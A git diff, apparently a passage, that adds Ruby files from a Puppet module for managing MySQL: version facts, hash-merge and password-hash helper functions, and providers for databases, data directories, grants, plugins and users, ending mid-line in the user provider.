a/modules/services/unix/database/mysql_stretch_compatible/mysql/lib/facter/mysql_version.rb b/modules/services/unix/database/mysql_stretch_compatible/mysql/lib/facter/mysql_version.rb new file mode 100644 index 000000000..1046f4588 --- /dev/null +++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/lib/facter/mysql_version.rb @@ -0,0 +1,6 @@ +Facter.add('mysql_version') do + setcode do + mysql_ver = Facter::Util::Resolution.exec('mysql --version') + mysql_ver.match(%r{\d+\.\d+\.\d+})[0] if mysql_ver + end +end diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/lib/facter/mysqld_version.rb b/modules/services/unix/database/mysql_stretch_compatible/mysql/lib/facter/mysqld_version.rb new file mode 100644 index 000000000..61e2acf9a --- /dev/null +++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/lib/facter/mysqld_version.rb @@ -0,0 +1,5 @@ +Facter.add('mysqld_version') do + setcode do + Facter::Util::Resolution.exec('mysqld -V 2>/dev/null') + end +end diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/lib/puppet/parser/functions/mysql_deepmerge.rb b/modules/services/unix/database/mysql_stretch_compatible/mysql/lib/puppet/parser/functions/mysql_deepmerge.rb new file mode 100644 index 000000000..97d10229b --- /dev/null +++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/lib/puppet/parser/functions/mysql_deepmerge.rb @@ -0,0 +1,59 @@ +# Recursively merges two or more hashes together and returns the resulting hash. +module Puppet::Parser::Functions + newfunction(:mysql_deepmerge, type: :rvalue, doc: <<-'ENDHEREDOC') do |args| + Recursively merges two or more hashes together and returns the resulting hash. + + For example: + + $hash1 = {'one' => 1, 'two' => 2, 'three' => { 'four' => 4 } } + $hash2 = {'two' => 'dos', 'three' => { 'five' => 5 } } + $merged_hash = mysql_deepmerge($hash1, $hash2) + # The resulting hash is equivalent to: + # $merged_hash = { 'one' => 1, 'two' => 'dos', 'three' => { 'four' => 4, 'five' => 5 } } + + When there is a duplicate key that is a hash, they are recursively merged. + When there is a duplicate key that is not a hash, the key in the rightmost hash will "win." + When there are conficting uses of dashes and underscores in two keys (which mysql would otherwise equate), + the rightmost style will win. + + ENDHEREDOC + + if args.length < 2 + raise Puppet::ParseError, _('mysql_deepmerge(): wrong number of arguments (%{args_length}; must be at least 2)') % { args_length: args.length } + end + + result = {} + args.each do |arg| + next if arg.is_a?(String) && arg.empty? # empty string is synonym for puppet's undef + # If the argument was not a hash, skip it. + unless arg.is_a?(Hash) + raise Puppet::ParseError, _('mysql_deepmerge: unexpected argument type %{arg_class}, only expects hash arguments.') % { args_class: args.class } + end + + # Now we have to traverse our hash assigning our non-hash values + # to the matching keys in our result while following our hash values + # and repeating the process. + overlay(result, arg) + end + return(result) + end +end + +def normalized?(hash, key) + return true if hash.key?(key) + return false unless key =~ %r{-|_} + other_key = key.include?('-') ? key.tr('-', '_') : key.tr('_', '-') + return false unless hash.key?(other_key) + hash[key] = hash.delete(other_key) + true +end + +def overlay(hash1, hash2) + hash2.each do |key, value| + if normalized?(hash1, key) && value.is_a?(Hash) && hash1[key].is_a?(Hash) + overlay(hash1[key], value) + else + hash1[key] = value + end + end +end diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/lib/puppet/parser/functions/mysql_dirname.rb b/modules/services/unix/database/mysql_stretch_compatible/mysql/lib/puppet/parser/functions/mysql_dirname.rb new file mode 100644 index 000000000..e1a21202d --- /dev/null +++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/lib/puppet/parser/functions/mysql_dirname.rb @@ -0,0 +1,15 @@ +# Returns the dirname of a path. +module Puppet::Parser::Functions + newfunction(:mysql_dirname, type: :rvalue, doc: <<-EOS + Returns the dirname of a path. + EOS + ) do |arguments| + + if arguments.empty? + raise Puppet::ParseError, _('mysql_dirname(): Wrong number of arguments given (%{args_length} for 1)') % { args_length: args.length } + end + + path = arguments[0] + return File.dirname(path) + end +end diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/lib/puppet/parser/functions/mysql_password.rb b/modules/services/unix/database/mysql_stretch_compatible/mysql/lib/puppet/parser/functions/mysql_password.rb new file mode 100644 index 000000000..4169bf433 --- /dev/null +++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/lib/puppet/parser/functions/mysql_password.rb @@ -0,0 +1,18 @@ +require 'digest/sha1' +# Returns the mysql password hash from the clear text password. +# Hash a string as mysql's "PASSWORD()" function would do it +module Puppet::Parser::Functions + newfunction(:mysql_password, type: :rvalue, doc: <<-EOS + Returns the mysql password hash from the clear text password. + EOS + ) do |args| + + if args.size != 1 + raise Puppet::ParseError, _('mysql_password(): Wrong number of arguments given (%{args_length} for 1)') % { args_length: args.length } + end + + return '' if args[0].empty? + return args[0] if args[0] =~ %r{\*[A-F0-9]{40}$} + '*' + Digest::SHA1.hexdigest(Digest::SHA1.digest(args[0])).upcase + end +end diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/lib/puppet/parser/functions/mysql_strip_hash.rb b/modules/services/unix/database/mysql_stretch_compatible/mysql/lib/puppet/parser/functions/mysql_strip_hash.rb new file mode 100644 index 000000000..327f9fd5d --- /dev/null +++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/lib/puppet/parser/functions/mysql_strip_hash.rb @@ -0,0 +1,19 @@ +# When given a hash this function strips out all blank entries. +module Puppet::Parser::Functions + newfunction(:mysql_strip_hash, type: :rvalue, arity: 1, doc: <<-EOS + TEMPORARY FUNCTION: EXPIRES 2014-03-10 + When given a hash this function strips out all blank entries. +EOS + ) do |args| + + hash = args[0] + unless hash.is_a?(Hash) + raise(Puppet::ParseError, _('mysql_strip_hash(): Requires a hash to work.')) + end + + # Filter out all the top level blanks. + hash.reject { |_k, v| v == '' }.each do |_k, v| + v.reject! { |_ki, vi| vi == '' } if v.is_a?(Hash) + end + end +end diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/lib/puppet/provider/mysql.rb b/modules/services/unix/database/mysql_stretch_compatible/mysql/lib/puppet/provider/mysql.rb new file mode 100644 index 000000000..173d3ce9e --- /dev/null +++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/lib/puppet/provider/mysql.rb @@ -0,0 +1,119 @@ +# Puppet provider for mysql +class Puppet::Provider::Mysql < Puppet::Provider + # Without initvars commands won't work. + initvars + + # Make sure we find mysql commands on CentOS and FreeBSD + ENV['PATH'] = ENV['PATH'] + ':/usr/libexec:/usr/local/libexec:/usr/local/bin' + + # rubocop:disable Style/HashSyntax + commands :mysql_raw => 'mysql' + commands :mysqld => 'mysqld' + commands :mysqladmin => 'mysqladmin' + # rubocop:enable Style/HashSyntax + + # Optional defaults file + def self.defaults_file + "--defaults-extra-file=#{Facter.value(:root_home)}/.my.cnf" if File.file?("#{Facter.value(:root_home)}/.my.cnf") + end + + def self.mysqld_type + # find the mysql "dialect" like mariadb / mysql etc. + mysqld_version_string.scan(%r{mariadb}i) { return 'mariadb' } + mysqld_version_string.scan(%r{\s\(percona}i) { return 'percona' } + 'mysql' + end + + def mysqld_type + self.class.mysqld_type + end + + def self.mysqld_version_string + # As the possibility of the mysqld being remote we need to allow the version string to be overridden, + # this can be done by facter.value as seen below. In the case that it has not been set and the facter + # value is nil we use the mysql -v command to ensure we report the correct version of mysql for later use cases. + @mysqld_version_string ||= Facter.value(:mysqld_version) || mysqld('-V') + end + + def mysqld_version_string + self.class.mysqld_version_string + end + + def self.mysqld_version + # note: be prepared for '5.7.6-rc-log' etc results + # versioncmp detects 5.7.6-log to be newer then 5.7.6 + # this is why we need the trimming. + mysqld_version_string.scan(%r{\d+\.\d+\.\d+}).first unless mysqld_version_string.nil? + end + + def mysqld_version + self.class.mysqld_version + end + + def defaults_file + self.class.defaults_file + end + + def self.mysql_caller(text_of_sql, type) + if type.eql? 'system' + mysql_raw([defaults_file, '--host=', system_database, '-e', text_of_sql].flatten.compact) + elsif type.eql? 'regular' + mysql_raw([defaults_file, '-NBe', text_of_sql].flatten.compact) + else + raise Puppet::Error, _("#mysql_caller: Unrecognised type '%{type}'" % { type: type }) + end + end + + def self.users + mysql_caller("SELECT CONCAT(User, '@',Host) AS User FROM mysql.user", 'regular').split("\n") + end + + # Optional parameter to run a statement on the MySQL system database. + def self.system_database + '--database=mysql' + end + + def system_database + self.class.system_database + end + + # Take root@localhost and munge it to 'root'@'localhost' + def self.cmd_user(user) + "'#{user.sub('@', "'@'")}'" + end + + # Take root.* and return ON `root`.* + def self.cmd_table(table) + table_string = '' + + # We can't escape *.* so special case this. + table_string << if table == '*.*' + '*.*' + # Special case also for FUNCTIONs and PROCEDUREs + elsif table.start_with?('FUNCTION ', 'PROCEDURE ') + table.sub(%r{^(FUNCTION|PROCEDURE) (.*)(\..*)}, '\1 `\2`\3') + else + table.sub(%r{^(.*)(\..*)}, '`\1`\2') + end + table_string + end + + def self.cmd_privs(privileges) + return 'ALL PRIVILEGES' if privileges.include?('ALL') + priv_string = '' + privileges.each do |priv| + priv_string << "#{priv}, " + end + # Remove trailing , from the last element. + priv_string.sub(%r{, $}, '') + end + + # Take in potential options and build up a query string with them. + def self.cmd_options(options) + option_string = '' + options.each do |opt| + option_string << ' WITH GRANT OPTION' if opt == 'GRANT' + end + option_string + end +end diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/lib/puppet/provider/mysql_database/mysql.rb b/modules/services/unix/database/mysql_stretch_compatible/mysql/lib/puppet/provider/mysql_database/mysql.rb new file mode 100644 index 000000000..bbbf21612 --- /dev/null +++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/lib/puppet/provider/mysql_database/mysql.rb @@ -0,0 +1,65 @@ +require File.expand_path(File.join(File.dirname(__FILE__), '..', 'mysql')) +Puppet::Type.type(:mysql_database).provide(:mysql, parent: Puppet::Provider::Mysql) do + desc 'Manages MySQL databases.' + + commands mysql_raw: 'mysql' + + def self.instances + mysql_caller('show databases', 'regular').split("\n").map do |name| + attributes = {} + mysql_caller(["show variables like '%_database'", name], 'regular').split("\n").each do |line| + k, v = line.split(%r{\s}) + attributes[k] = v + end + new(name: name, + ensure: :present, + charset: attributes['character_set_database'], + collate: attributes['collation_database']) + end + end + + # We iterate over each mysql_database entry in the catalog and compare it against + # the contents of the property_hash generated by self.instances + def self.prefetch(resources) + databases = instances + resources.keys.each do |database| + provider = databases.find { |db| db.name == database } + resources[database].provider = provider if provider + end + end + + def create + self.class.mysql_caller("create database if not exists `#{@resource[:name]}` character set `#{@resource[:charset]}` collate `#{@resource[:collate]}`", 'regular') + + @property_hash[:ensure] = :present + @property_hash[:charset] = @resource[:charset] + @property_hash[:collate] = @resource[:collate] + + exists? ? (return true) : (return false) + end + + def destroy + self.class.mysql_caller("drop database if exists `#{@resource[:name]}`", 'regular') + + @property_hash.clear + exists? ? (return false) : (return true) + end + + def exists? + @property_hash[:ensure] == :present || false + end + + mk_resource_methods + + def charset=(value) + self.class.mysql_caller("alter database `#{resource[:name]}` CHARACTER SET #{value}", 'regular') + @property_hash[:charset] = value + (charset == value) ? (return true) : (return false) + end + + def collate=(value) + self.class.mysql_caller("alter database `#{resource[:name]}` COLLATE #{value}", 'regular') + @property_hash[:collate] = value + (collate == value) ? (return true) : (return false) + end +end diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/lib/puppet/provider/mysql_datadir/mysql.rb b/modules/services/unix/database/mysql_stretch_compatible/mysql/lib/puppet/provider/mysql_datadir/mysql.rb new file mode 100644 index 000000000..ec5f32b32 --- /dev/null +++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/lib/puppet/provider/mysql_datadir/mysql.rb @@ -0,0 +1,92 @@ +require File.expand_path(File.join(File.dirname(__FILE__), '..', 'mysql')) +Puppet::Type.type(:mysql_datadir).provide(:mysql, parent: Puppet::Provider::Mysql) do + desc 'manage data directories for mysql instances' + + initvars + + # Make sure we find mysqld on CentOS and mysql_install_db on Gentoo and Solaris 11 + ENV['PATH'] = [ + ENV['PATH'], + '/usr/libexec', + '/usr/share/mysql/scripts', + '/opt/rh/rh-mysql57/root/usr/bin', + '/opt/rh/rh-mysql57/root/usr/libexec', + '/opt/rh/rh-mysql56/root/usr/bin', + '/opt/rh/rh-mysql56/root/usr/libexec', + '/opt/rh/rh-mariadb101/root/usr/bin', + '/opt/rh/rh-mariadb101/root/usr/libexec', + '/opt/rh/rh-mariadb100/root/usr/bin', + '/opt/rh/rh-mariadb100/root/usr/libexec', + '/opt/rh/mysql55/root/usr/bin', + '/opt/rh/mysql55/root/usr/libexec', + '/opt/rh/mariadb55/root/usr/bin', + '/opt/rh/mariadb55/root/usr/libexec', + '/usr/mysql/5.5/bin', + '/usr/mysql/5.6/bin', + '/usr/mysql/5.7/bin', + ].join(':') + + commands mysqld: 'mysqld' + optional_commands mysql_install_db: 'mysql_install_db' + # rubocop:disable Lint/UselessAssignment + def create + name = @resource[:name] + insecure = @resource.value(:insecure) || true + defaults_extra_file = @resource.value(:defaults_extra_file) + user = @resource.value(:user) || 'mysql' + basedir = @resource.value(:basedir) + datadir = @resource.value(:datadir) || @resource[:name] + log_error = @resource.value(:log_error) || '/var/tmp/mysqld_initialize.log' + # rubocop:enable Lint/UselessAssignment + unless defaults_extra_file.nil? + unless File.exist?(defaults_extra_file) + raise ArgumentError, _('Defaults-extra-file %{file} is missing.') % { file: defaults_extra_file } + end + defaults_extra_file = "--defaults-extra-file=#{defaults_extra_file}" + end + + initialize = if insecure == true + '--initialize-insecure' + else + '--initialize' + end + + opts = [defaults_extra_file] + %w[basedir datadir user].each do |opt| + val = eval(opt) # rubocop:disable Security/Eval + opts << "--#{opt}=#{val}" unless val.nil? + end + + if mysqld_version.nil? + debug("Installing MySQL data directory with mysql_install_db #{opts.compact.join(' ')}") + mysql_install_db(opts.compact) + elsif (mysqld_type == 'mysql' || mysqld_type == 'percona') && Puppet::Util::Package.versioncmp(mysqld_version, '5.7.6') >= 0 + opts << "--log-error=#{log_error}" + opts << initialize.to_s + debug("Initializing MySQL data directory >= 5.7.6 with mysqld: #{opts.compact.join(' ')}") + mysqld(opts.compact) + else + debug("Installing MySQL data directory with mysql_install_db #{opts.compact.join(' ')}") + mysql_install_db(opts.compact) + end + + exists? + end + + def destroy + name = @resource[:name] # rubocop:disable Lint/UselessAssignment + raise ArgumentError, _('ERROR: `Resource` can not be removed.') + end + + def exists? + datadir = @resource[:datadir] + File.directory?("#{datadir}/mysql") && (Dir.entries("#{datadir}/mysql") - %w[. ..]).any? + end + + ## + ## MySQL datadir properties + ## + + # Generates method for all properties of the property_hash + mk_resource_methods +end diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/lib/puppet/provider/mysql_grant/mysql.rb b/modules/services/unix/database/mysql_stretch_compatible/mysql/lib/puppet/provider/mysql_grant/mysql.rb new file mode 100644 index 000000000..88290339f --- /dev/null +++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/lib/puppet/provider/mysql_grant/mysql.rb @@ -0,0 +1,176 @@ +require File.expand_path(File.join(File.dirname(__FILE__), '..', 'mysql')) +Puppet::Type.type(:mysql_grant).provide(:mysql, parent: Puppet::Provider::Mysql) do + desc 'Set grants for users in MySQL.' + + commands mysql_raw: 'mysql' + + def self.instances + instances = [] + users.map do |user| + user_string = cmd_user(user) + query = "SHOW GRANTS FOR #{user_string};" + begin + grants = mysql_caller(query, 'regular') + rescue Puppet::ExecutionFailure => e + # Silently ignore users with no grants. Can happen e.g. if user is + # defined with fqdn and server is run with skip-name-resolve. Example: + # Default root user created by mysql_install_db on a host with fqdn + # of myhost.mydomain.my: root@myhost.mydomain.my, when MySQL is started + # with --skip-name-resolve. + next if e.inspect =~ %r{There is no such grant defined for user} + raise Puppet::Error, _('#mysql had an error -> %{inspect}') % { inspect: e.inspect } + end + # Once we have the list of grants generate entries for each. + grants.each_line do |grant| + # Match the munges we do in the type. + munged_grant = grant.delete("'").delete('`').delete('"') + # Matching: GRANT (SELECT, UPDATE) PRIVILEGES ON (*.*) TO ('root')@('127.0.0.1') (WITH GRANT OPTION) + next unless match = munged_grant.match(%r{^GRANT\s(.+)\sON\s(.+)\sTO\s(.*)@(.*?)(\s.*)?$}) # rubocop:disable Lint/AssignmentInCondition + privileges, table, user, host, rest = match.captures + table.gsub!('\\\\', '\\') + + # split on ',' if it is not a non-'('-containing string followed by a + # closing parenthesis ')'-char - e.g. only split comma separated elements not in + # parentheses + stripped_privileges = privileges.strip.split(%r{\s*,\s*(?![^(]*\))}).map do |priv| + # split and sort the column_privileges in the parentheses and rejoin + if priv.include?('(') + type, col = priv.strip.split(%r{\s+|\b}, 2) + type.upcase + ' (' + col.slice(1...-1).strip.split(%r{\s*,\s*}).sort.join(', ') + ')' + else + # Once we split privileges up on the , we need to make sure we + # shortern ALL PRIVILEGES to just all. + (priv == 'ALL PRIVILEGES') ? 'ALL' : priv.strip + end + end + # Same here, but to remove OPTION leaving just GRANT. + options = if rest =~ %r{WITH\sGRANT\sOPTION} + ['GRANT'] + else + ['NONE'] + end + # fix double backslash that MySQL prints, so resources match + table.gsub!('\\\\', '\\') + # We need to return an array of instances so capture these + instances << new( + name: "#{user}@#{host}/#{table}", + ensure: :present, + privileges: stripped_privileges.sort, + table: table, + user: "#{user}@#{host}", + options: options, + ) + end + end + instances + end + + def self.prefetch(resources) + users = instances + resources.keys.each do |name| + if provider = users.find { |user| user.name == name } # rubocop:disable Lint/AssignmentInCondition + resources[name].provider = provider + end + end + end + + def grant(user, table, privileges, options) + user_string = self.class.cmd_user(user) + priv_string = self.class.cmd_privs(privileges) + table_string = privileges.include?('PROXY') ? self.class.cmd_user(table) : self.class.cmd_table(table) + query = "GRANT #{priv_string}" + query << " ON #{table_string}" + query << " TO #{user_string}" + query << self.class.cmd_options(options) unless options.nil? + self.class.mysql_caller(query, 'system') + end + + def create + grant(@resource[:user], @resource[:table], @resource[:privileges], @resource[:options]) + + @property_hash[:ensure] = :present + @property_hash[:table] = @resource[:table] + @property_hash[:user] = @resource[:user] + @property_hash[:options] = @resource[:options] if @resource[:options] + @property_hash[:privileges] = @resource[:privileges] + + exists? ? (return true) : (return false) + end + + def revoke(user, table, revoke_privileges = ['ALL']) + user_string = self.class.cmd_user(user) + table_string = revoke_privileges.include?('PROXY') ? self.class.cmd_user(table) : self.class.cmd_table(table) + priv_string = self.class.cmd_privs(revoke_privileges) + # revoke grant option needs to be a extra query, because + # "REVOKE ALL PRIVILEGES, GRANT OPTION [..]" is only valid mysql syntax + # if no ON clause is used. + # It hast to be executed before "REVOKE ALL [..]" since a GRANT has to + # exist to be executed successfully + if revoke_privileges.include?('ALL') && !revoke_privileges.include?('PROXY') + query = "REVOKE GRANT OPTION ON #{table_string} FROM #{user_string}" + self.class.mysql_caller(query, 'system') + end + query = "REVOKE #{priv_string} ON #{table_string} FROM #{user_string}" + self.class.mysql_caller(query, 'system') + end + + def destroy + # if the user was dropped, it'll have been removed from the user hash + # as the grants are already removed by the DROP statement + if self.class.users.include? @property_hash[:user] + if @property_hash[:privileges].include?('PROXY') + revoke(@property_hash[:user], @property_hash[:table], @property_hash[:privileges]) + else + revoke(@property_hash[:user], @property_hash[:table]) + end + end + @property_hash.clear + + exists? ? (return false) : (return true) + end + + def exists? + @property_hash[:ensure] == :present || false + end + + def flush + @property_hash.clear + self.class.mysql_caller('FLUSH PRIVILEGES', 'regular') + end + + mk_resource_methods + + def diff_privileges(privileges_old, privileges_new) + diff = { revoke: [], grant: [] } + if privileges_old.include? 'ALL' + diff[:revoke] = privileges_old + diff[:grant] = privileges_new + elsif privileges_new.include? 'ALL' + diff[:grant] = privileges_new + else + diff[:revoke] = privileges_old - privileges_new + diff[:grant] = privileges_new - privileges_old + end + diff + end + + def privileges=(privileges) + diff = diff_privileges(@property_hash[:privileges], privileges) + unless diff[:revoke].empty? + revoke(@property_hash[:user], @property_hash[:table], diff[:revoke]) + end + unless diff[:grant].empty? + grant(@property_hash[:user], @property_hash[:table], diff[:grant], @property_hash[:options]) + end + @property_hash[:privileges] = privileges + self.privileges + end + + def options=(options) + revoke(@property_hash[:user], @property_hash[:table]) + grant(@property_hash[:user], @property_hash[:table], @property_hash[:privileges], options) + @property_hash[:options] = options + + self.options + end +end diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/lib/puppet/provider/mysql_plugin/mysql.rb b/modules/services/unix/database/mysql_stretch_compatible/mysql/lib/puppet/provider/mysql_plugin/mysql.rb new file mode 100644 index 000000000..7a7ed9f1b --- /dev/null +++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/lib/puppet/provider/mysql_plugin/mysql.rb @@ -0,0 +1,51 @@ +require File.expand_path(File.join(File.dirname(__FILE__), '..', 'mysql')) +Puppet::Type.type(:mysql_plugin).provide(:mysql, parent: Puppet::Provider::Mysql) do + desc 'Manages MySQL plugins.' + + commands mysql_raw: 'mysql' + + def self.instances + mysql_caller('show plugins', 'regular').split("\n").map do |line| + name, _status, _type, library, _license = line.split(%r{\t}) + new(name: name, + ensure: :present, + soname: library) + end + end + + # We iterate over each mysql_plugin entry in the catalog and compare it against + # the contents of the property_hash generated by self.instances + def self.prefetch(resources) + plugins = instances + resources.keys.each do |plugin| + if provider = plugins.find { |pl| pl.name == plugin } # rubocop:disable Lint/AssignmentInCondition + resources[plugin].provider = provider + end + end + end + + def create + # Use plugin_name.so as soname if it's not specified. This won't work on windows as + # there it should be plugin_name.dll + @resource[:soname].nil? ? (soname = @resource[:name] + '.so') : (soname = @resource[:soname]) + self.class.mysql_caller("install plugin #{@resource[:name]} soname '#{soname}'", 'regular') + + @property_hash[:ensure] = :present + @property_hash[:soname] = @resource[:soname] + + exists? ? (return true) : (return false) + end + + def destroy + self.class.mysql_caller("uninstall plugin #{@resource[:name]}", 'regular') + + @property_hash.clear + exists? ? (return false) : (return true) + end + + def exists? + @property_hash[:ensure] == :present || false + end + + mk_resource_methods +end diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/lib/puppet/provider/mysql_user/mysql.rb b/modules/services/unix/database/mysql_stretch_compatible/mysql/lib/puppet/provider/mysql_user/mysql.rb new file mode 100644 index 000000000..d647f6420 --- /dev/null +++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/lib/puppet/provider/mysql_user/mysql.rb @@ -0,0 +1,206 @@ +require File.expand_path(File.join(File.dirname(__FILE__), '..', 'mysql')) +Puppet::Type.type(:mysql_user).provide(:mysql, parent: Puppet::Provider::Mysql) do + desc 'manage users for a mysql database.' + commands mysql_raw: 'mysql' + + # Build a property_hash containing all the discovered information about MySQL + # users. + def self.instances + users = mysql_caller("SELECT CONCAT(User, '@',Host) AS User FROM mysql.user", 'regular').split("\n") + # To reduce the number of calls to MySQL we collect all the properties in + # one big swoop. + users.map do |name| + if mysqld_version.nil? + ## Default ... + # rubocop:disable Metrics/LineLength + query = "SELECT MAX_USER_CONNECTIONS, MAX_CONNECTIONS, MAX_QUESTIONS, MAX_UPDATES, SSL_TYPE, SSL_CIPHER, X509_ISSUER, X509_SUBJECT, PASSWORD /*!50508 , PLUGIN */ FROM mysql.user WHERE CONCAT(user, '@', host) = '#{name}'" + elsif (mysqld_type == 'mysql' || mysqld_type == 'percona') && Puppet::Util::Package.versioncmp(mysqld_version, '5.7.6') >= 0 + query = "SELECT MAX_USER_CONNECTIONS, MAX_CONNECTIONS, MAX_QUESTIONS, MAX_UPDATES, SSL_TYPE, SSL_CIPHER, X509_ISSUER, X509_SUBJECT, AUTHENTICATION_STRING, PLUGIN FROM mysql.user WHERE CONCAT(user, '@', host) = '#{name}'" + else + query = "SELECT MAX_USER_CONNECTIONS, MAX_CONNECTIONS, MAX_QUESTIONS, MAX_UPDATES, SSL_TYPE, SSL_CIPHER, X509_ISSUER, X509_SUBJECT, PASSWORD /*!50508 , PLUGIN */ FROM mysql.user WHERE CONCAT(user, '@', host) = '#{name}'" + end + @max_user_connections, @max_connections_per_hour, @max_queries_per_hour, + @max_updates_per_hour, ssl_type, ssl_cipher, x509_issuer, x509_subject, + @password, @plugin = mysql_caller(query, 'regular').split(%r{\s}) + @tls_options = parse_tls_options(ssl_type, ssl_cipher, x509_issuer, x509_subject) + # rubocop:enable Metrics/LineLength + new(name: name, + ensure: :present, + password_hash: @password, + plugin: @plugin, + max_user_connections: @max_user_connections, + max_connections_per_hour: @max_connections_per_hour, + max_queries_per_hour: @max_queries_per_hour, + max_updates_per_hour: @max_updates_per_hour, + tls_options: @tls_options) + end + end + + # We iterate over each mysql_user entry in the catalog and compare it against + # the contents of the property_hash generated by self.instances + def self.prefetch(resources) + users = instances + # rubocop:disable Lint/AssignmentInCondition + resources.keys.each do |name| + if provider = users.find { |user| user.name == name } + resources[name].provider = provider + end + end + # rubocop:enable Lint/AssignmentInCondition + end + + def create + merged_name = @resource[:name].sub('@', "'@'") + password_hash = @resource.value(:password_hash) + plugin = @resource.value(:plugin) + max_user_connections = @resource.value(:max_user_connections) || 0 + max_connections_per_hour = @resource.value(:max_connections_per_hour) || 0 + max_queries_per_hour = @resource.value(:max_queries_per_hour) || 0 + max_updates_per_hour = @resource.value(:max_updates_per_hour) || 0 + tls_options = @resource.value(:tls_options) || ['NONE'] + + # Use CREATE USER to be compatible with NO_AUTO_CREATE_USER sql_mode + # This is also required if you want to specify a authentication plugin + if !plugin.nil? + if plugin == 'sha256_password' && !password_hash.nil? + self.class.mysql_caller("CREATE USER '#{merged_name}' IDENTIFIED WITH '#{plugin}' AS '#{password_hash}'", 'system') + else + self.class.mysql_caller("CREATE USER '#{merged_name}' IDENTIFIED WITH '#{plugin}'", 'system') + end + @property_hash[:ensure] = :present + @property_hash[:plugin] = plugin + else + self.class.mysql_caller("CREATE USER '#{merged_name}' IDENTIFIED BY PASSWORD '#{password_hash}'", 'system') + @property_hash[:ensure] = :present + @property_hash[:password_hash] = password_hash + end + # rubocop:disable Metrics/LineLength + self.class.mysql_caller("GRANT USAGE ON *.* TO '#{merged_name}' WITH MAX_USER_CONNECTIONS #{max_user_connections} MAX_CONNECTIONS_PER_HOUR #{max_connections_per_hour} MAX_QUERIES_PER_HOUR #{max_queries_per_hour} MAX_UPDATES_PER_HOUR #{max_updates_per_hour}", 'system') + # rubocop:enable Metrics/LineLength + @property_hash[:max_user_connections] = max_user_connections + @property_hash[:max_connections_per_hour] = max_connections_per_hour + @property_hash[:max_queries_per_hour] = max_queries_per_hour + @property_hash[:max_updates_per_hour] = max_updates_per_hour + + merged_tls_options = tls_options.join(' AND ') + if ((mysqld_type == 'mysql' || mysqld_type == 'percona') && Puppet::Util::Package.versioncmp(mysqld_version, '5.7.6') >= 0) || + (mysqld_type == 'mariadb' && Puppet::Util::Package.versioncmp(mysqld_version, '10.2.0') >= 0) + self.class.mysql_caller("ALTER USER '#{merged_name}' REQUIRE #{merged_tls_options}", 'system') + else + self.class.mysql_caller("GRANT USAGE ON *.* TO '#{merged_name}' REQUIRE #{merged_tls_options}", 'system') + end + @property_hash[:tls_options] = tls_options + + exists? ? (return true) : (return false) + end + + def destroy + merged_name = @resource[:name].sub('@', "'@'") + self.class.mysql_caller("DROP USER '#{merged_name}'", 'system') + + @property_hash.clear + exists? ? (return false) : (return true) + end + + def exists? + @property_hash[:ensure] == :present || false + end + + ## + ## MySQL user properties + ## + + # Generates method for all properties of the property_hash + mk_resource_methods + + def password_hash=(string) + merged_name = self.class.cmd_user(@resource[:name]) + + # We have a fact for the mysql version ... + if mysqld_version.nil? + # default ... if mysqld_version does not work + self.class.mysql_caller("SET PASSWORD FOR #{merged_name} = '#{string}'", 'system') + elsif (mysqld_type == 'mysql' || mysqld_type == 'percona') && Puppet::Util::Package.versioncmp(mysqld_version, '5.7.6') >= 0 + raise ArgumentError, _('Only mysql_native_password (*ABCD...XXX) hashes are supported.') unless string =~ %r{^\*} + self.class.mysql_caller("ALTER USER #{merged_name} IDENTIFIED WITH mysql_native_password AS '#{string}'", 'system') + else + self.class.mysql_caller("SET PASSWORD FOR #{merged_name} = '#{string}'", 'system') + end + + (password_hash == string) ? (return true) : (return false) + end + + def max_user_connections=(int) + merged_name = self.class.cmd_user(@resource[:name]) + self.class.mysql_caller("GRANT USAGE ON *.* TO #{merged_name} WITH MAX_USER_CONNECTIONS #{int}", 'system').chomp + + (max_user_connections == int) ? (return true) : (return false) + end + + def max_connections_per_hour=(int) + merged_name = self.class.cmd_user(@resource[:name]) + self.class.mysql_caller("GRANT USAGE ON *.* TO #{merged_name} WITH MAX_CONNECTIONS_PER_HOUR #{int}", 'system').chomp + + (max_connections_per_hour == int) ? (return true) : (return false) + end + + def max_queries_per_hour=(int) + merged_name = self.class.cmd_user(@resource[:name]) + self.class.mysql_caller("GRANT USAGE ON *.* TO #{merged_name} WITH MAX_QUERIES_PER_HOUR #{int}", 'system').chomp + + (max_queries_per_hour == int) ? (return true) : (return false) + end + + def max_updates_per_hour=(int) + merged_name = self.class.cmd_user(@resource[:name]) + self.class.mysql_caller("GRANT USAGE ON *.* TO #{merged_name} WITH MAX_UPDATES_PER_HOUR #{int}", 'system').chomp + + (max_updates_per_hour == int) ? (return true) : (return false) + end + + def plugin=(string) + merged_name = self.class.cmd_user(@resource[:name]) + + if (mysqld_type == 'mysql' || mysqld_type == 'percona') && Puppet::Util::Package.versioncmp(mysqld_version, '5.7.6') >= 0 + sql = "ALTER USER #{merged_name} IDENTIFIED WITH '#{string}'" + sql << " AS '#{@resource[:password_hash]}'" if string == 'mysql_native_password' + else + # See https://bugs.mysql.com/bug.php?id=67449 + sql = "UPDATE mysql.user SET plugin = '#{string}'" + sql << ((string == 'mysql_native_password') ? ", password = '#{@resource[:password_hash]}'" : ", password = ''") + sql << " WHERE CONCAT(user, '@', host) = '#{@resource[:name]}'" + end + + self.class.mysql_caller(sql, 'system') + (plugin == string) ? (return true) : (return false) + end + + def tls_options=(array) + merged_name = 